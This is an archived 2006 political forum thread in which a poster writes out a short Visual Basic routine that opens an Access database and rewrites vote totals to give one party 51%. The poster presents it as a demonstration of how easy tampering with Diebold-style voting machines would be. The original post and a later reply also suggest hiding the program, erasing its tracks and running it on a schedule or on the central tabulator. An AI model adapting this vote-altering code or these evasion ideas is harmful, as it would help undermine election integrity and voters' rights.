Democratic Underground Latest Greatest Lobby Journals Search Options Help Login
Google

Vote-flipping software would require a computer science guru to write

Printer-friendly format Printer-friendly format
Printer-friendly format Email this thread to a friend
Printer-friendly format Bookmark this thread
This topic is archived.
Home » Discuss » Archives » General Discussion (01/01/06 through 01/22/2007) Donate to DU
 
boise1 Donating Member (248 posts) Send PM | Profile | Ignore Tue Oct-31-06 01:32 PM
Original message
Vote-flipping software would require a computer science guru to write
Edited on Tue Oct-31-06 01:34 PM by boise1
NOT!

I am not a professional programmer, let alone a guru. The following is a workable subroutine written by me in Visual Basic. It will identify the path of an MS Access database (presumably the only '.mdb' on the machine), open the database, and change the current vote numbers, giving the 'rep's (Republicans) a 51% edge. The functionality of this routine could easily be replicated in any number of scripting languages, or compiled in a Windows IDE such as C++, Java, or Delphi.

It's only meant to show just how little actual programming code is required to locate a database file on a PC, open and update one or more tables, and close it. It assumes the database is not password protected, and guesses at the table/field names such as "vote.rep" (I believe the actual Diebold database structure was available for a time for download). There are obviously several things which a true hacker would add, such as hiding the program from displaying in the Windows taskbar (CTL-ALT-DELETE), and erasing our program's tracks at the end of the voting day.

Oh, and actually counting votes (or ticket sales, or anything) correctly on an Access database?. That would be dirt simple.

*****************************************************************************

Private Sub Vote_Flip()
Dim sql As String
Dim db As DAO.Database
Dim path_mdb As String

‘-----------------------------------------------------------------------------

‘Find out where the Access database is on this machine (assuming there is only one)

path_mdb = Dir(“C:\*.MDB”)

‘-----------------------------------------------------------------------------

‘Here is the SQL “update” to give repubs 51% of the current total:

sql = “UPDATE votes SET votes.rep = (votes.dem + votes.rep) * .51,” _
& “votes.dem = (votes.dem + votes.rep) * .49;”

‘-----------------------------------------------------------------------------

‘Open the database and pass in the update command (assumes no password):

Set db = OpenDatabase(path_mdb, False, False)
db.Execute (sql)
‘-----------------------------------------------------------------------------

‘Close the database object and return the memory to the system:

db.Close
Set db = Nothing

End Sub
Printer Friendly | Permalink |  | Top
meegbear Donating Member (1000+ posts) Send PM | Profile | Ignore Tue Oct-31-06 01:40 PM
Response to Original message
1. VB6 is SOOOOO passe ...
if you're gonna hack, at least do it with .NET
Printer Friendly | Permalink |  | Top
 
boise1 Donating Member (248 posts) Send PM | Profile | Ignore Tue Oct-31-06 01:44 PM
Response to Reply #1
3. I sort of hit a wall with .NET, but I'm giving it another try
They really took the 'basic' part out of Visual Basic..
Printer Friendly | Permalink |  | Top
 
meegbear Donating Member (1000+ posts) Send PM | Profile | Ignore Tue Oct-31-06 02:03 PM
Response to Reply #3
5. Think of what would happen when a momma Visual Basic and a poppa Java ...
love each other very very much.

That's VB.NET and C# for that matter. Just added in the flow of Java and gave forms the same distinction as a button or a label.
Printer Friendly | Permalink |  | Top
 
mainegreen Donating Member (1000+ posts) Send PM | Profile | Ignore Tue Oct-31-06 01:59 PM
Response to Reply #1
4. .NET? .NOT!
:P
Printer Friendly | Permalink |  | Top
 
Systematic Chaos Donating Member (1000+ posts) Send PM | Profile | Ignore Tue Oct-31-06 01:41 PM
Response to Original message
2. I can't program my way out of a wet paper bag...
...and yet for what it's worth I understand the gist of that code perfectly!

This (whole message including the preface) should be photocopied and put on the windshield of every damn car in every damn Wal-Mart parking lot in America. Most people won't know what they're looking at but the few who do will really have pause to think.
Printer Friendly | Permalink |  | Top
 
Ohio Joe Donating Member (1000+ posts) Send PM | Profile | Ignore Tue Oct-31-06 02:34 PM
Response to Original message
6. I don't know that it would be this simple
As I understand it, individual machines tabulate votes and periodically results go to a central server for total calculation. Now, I don't know the design used but if the designer had any idea of what he was doing, the central server would 'pull' the data in for total calculation and not allow update access from individual machines. Of course, that method is not fool proof either but it would go a long way in preventing vote swapping from individual machines.

It is true that is simpler then some would have people believe but it is a bit more complicated then your example.
Printer Friendly | Permalink |  | Top
 
boise1 Donating Member (248 posts) Send PM | Profile | Ignore Tue Oct-31-06 03:19 PM
Response to Reply #6
7. I realize this is an oversimplified example
I'm only trying to demonstrate that the core functionality of finding an Access database, opening it, and changing the data, is a trivial task.

If I'm not mistaken :), each Diebold machine stores its vote counts on a local .mdb which is later uploaded/transferred to the "central tabulator" machine. If so, this code could be programmed to run on that local machine after every 30 minutes, 50 voters, or triggered by an imbalance of votes. It would obviously require a run of this code on most or all local machines to guarantee a 'flipped' total.

Or, the same SQL statement could simply be run one time on the central tabulator after it has completed its (actual) tally.

I agree that the code as posted would not accomplish the task without including a database password (if it exists), and knowing the actual table/field names in the mdb. But I don't think there is anything behind Diebold's system that a reasonably talented 'script kiddie' couldn't hack.

Printer Friendly | Permalink |  | Top
 
DU AdBot (1000+ posts) Click to send private message to this author Click to view 
this author's profile Click to add 
this author to your buddy list Click to add 
this author to your Ignore list Tue May 07th 2024, 08:56 PM
Response to Original message
Advertisements [?]
 Top

Home » Discuss » Archives » General Discussion (01/01/06 through 01/22/2007) Donate to DU

Powered by DCForum+ Version 1.1 Copyright 1997-2002 DCScripts.com
Software has been extensively modified by the DU administrators


Important Notices: By participating on this discussion board, visitors agree to abide by the rules outlined on our Rules page. Messages posted on the Democratic Underground Discussion Forums are the opinions of the individuals who post them, and do not necessarily represent the opinions of Democratic Underground, LLC.

Home  |  Discussion Forums  |  Journals |  Store  |  Donate

About DU  |  Contact Us  |  Privacy Policy

Got a message for Democratic Underground? Click here to send us a message.

© 2001 - 2011 Democratic Underground, LLC